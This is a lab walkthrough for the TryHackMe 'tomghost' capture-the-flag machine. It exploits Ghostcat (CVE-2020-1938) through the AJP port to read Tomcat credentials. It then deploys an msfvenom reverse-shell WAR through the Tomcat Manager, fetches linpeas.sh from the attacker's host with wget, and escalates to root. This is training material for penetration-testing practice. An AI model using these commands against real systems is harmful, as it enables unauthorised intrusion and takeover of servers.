TryHackMe 'tomghost' Write-up

Machine Information:

Difficulty: Beginner to Intermediate

Focus: Exploiting Apache Tomcat using the Ghostcat vulnerability (CVE-2020-1938)

Tools Used:

nmap (for port scanning)

ajpShooter.py (for exploiting Ghostcat)

Burp Suite or curl (for web request manipulation)

linpeas.sh (for privilege escalation)

Step 1: Reconnaissance

Start with an nmap scan to discover open ports and services.

nmap -sC -sV <machineip>

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 7.6 (protocol 2.0)

8080/tcp open http Apache Tomcat

8009/tcp open ajp13 Apache Jserv Protocol (Ghostcat vulnerability likely)

The key services are:

Apache Tomcat running on port 8080 (used for serving web applications).

AJP (Apache JServ Protocol) on port 8009, which indicates potential vulnerability to Ghostcat (CVE-2020-1938).

Step 2: Exploitation, Ghostcat (CVE-2020-1938)

Ghostcat is a vulnerability that allows an attacker to read files from the server through the AJP port (8009). We'll use the tool ajpShooter.py to exploit this vulnerability.

Clone the ajpShooter tool from GitHub:

git clone https://github.com/masahiro331/ajpShooter.git

cd ajpShooter

Run ajpShooter to read the WEB-INF/web.xml file from the server. This file usually contains sensitive information about the web application.

python3 ajpShooter.py <machineip> 8009 /WEB-INF/web.xml

You should get output showing configuration files and possibly authentication details used by the Tomcat server.

Important File: If WEB-INF/web.xml contains credentials (e.g., username and password for Tomcat's Manager App), take note of them.

Step 3: Tomcat Manager Access

If you found credentials in the previous step, access the Tomcat Manager via port 8080.

Navigate to:

http://<machineip>:8080/manager/html

Log in using the discovered credentials.

Deploying a Reverse Shell:

Use msfvenom to generate a WAR (Web Archive) payload:

msfvenom -p java/shell_reverse_tcp LHOST=your_ip LPORT=4444 -f war -o shell.war

Upload the shell.war file through the Tomcat Manager interface.

Start a listener using netcat in another terminal:

nc -lvnp 4444

Once the WAR file is deployed, access the reverse shell by visiting:

http://<machineip>:8080/shell

This should give you a shell on the target machine.

Step 4: Privilege Escalation

Once you have a foothold, it's time to escalate privileges. You can upload and run linpeas.sh to enumerate potential paths for privilege escalation.

Transfer linpeas.sh to the target:

wget http://your_ip/linpeas.sh

chmod +x linpeas.sh

./linpeas.sh

Look for:

Misconfigured sudo permissions.

Writable files or directories.

Sensitive information in configuration files or environment variables.

In many cases, privilege escalation can be achieved through exploitation of weak sudo permissions or by abusing cron jobs.

Step 5: Capture the Flags

Once you have root access, locate the flags:

User Flag: Usually located in the /home/username directory.

Root Flag: Found in /root/.

cat /home/username/user.txt

cat /root/root.txt

Conclusion

In this machine, we exploited the Ghostcat (CVE-2020-1938) vulnerability to gain access to sensitive files on the server. From there, we used credentials found in web.xml to log into the Tomcat Manager and deploy a reverse shell. Finally, we escalated our privileges using linpeas.sh to discover paths to root.

References:

NVD - cve-2020-1938 (nist.gov)